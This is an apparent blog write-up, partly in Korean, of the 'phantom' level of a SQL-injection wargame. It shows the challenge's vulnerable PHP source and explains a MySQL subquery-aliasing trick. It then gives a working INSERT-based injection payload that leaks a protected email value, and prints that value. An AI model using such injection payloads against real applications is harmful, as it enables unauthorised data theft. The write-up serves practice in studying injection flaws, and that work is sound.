LOS Lv.29 phantom
phantom
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
ip email
127.0.0.1 **************
<?php
include "./config.php";
login_chk();
$db = dbconnect("phantom");
if($_GET['joinmail']){
if(preg_match('/duplicate/i', $_GET['joinmail'])) exit("nice try");
$query = "insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}')";
mysqli_query($db,$query);
echo "<hr>query : <strong>{$query}</strong><hr>";
}
$rows = mysqli_query($db,"select no,ip,email from prob_phantom where no=1 or ip='{$_SERVER[REMOTE_ADDR]}'");
echo "<table border=1><tr><th>ip</th><th>email</th></tr>";
while(($result = mysqli_fetch_array($rows))){
if($result['no'] == 1) $result['email'] = "**************";
echo "<tr><td>{$result[ip]}</td><td>".htmlentities($result[email])."</td></tr>";
}
echo "</table>";
$_GET[email] = addslashes($_GET[email]);
$query = "select email from prob_phantom where no=1 and email='{$_GET[email]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['email']) && ($result['email'] === $_GET['email'])){ mysqli_query($db,"delete from prob_phantom where no != 1"); solve("phantom"); }
highlight_file(__FILE__);
?>
Solution
처음엔 입력을 (select email from prob_phantom where no=1)
을 했더니 안나옴.
내 서버에서 해보고 오류난 부분을 알아보니 Mysql Error 1093 You can't specify target table 테이블명
이렇게 나옴.
이는 서브쿼리에 동일한 테이블을 사용할 경우 발생하는 오류임.
MySQL 은 Oracle 과는 달리 UPDATE 나 DELETE 시 자기 테이블의 데이터를 바로 사용 못하므로 1093 에러가 발생함.
해결방법은 테이블에 별명을 지어주면 됨. 따라서 입력값은 다음과 같음.
1
2
3
?joinmail='), (0,'자기 ip주소',(select email from prob_phantom a where no=1)) %23
admin_secure_email@rubiya.kr
This post is licensed under CC BY 4.0 by the author.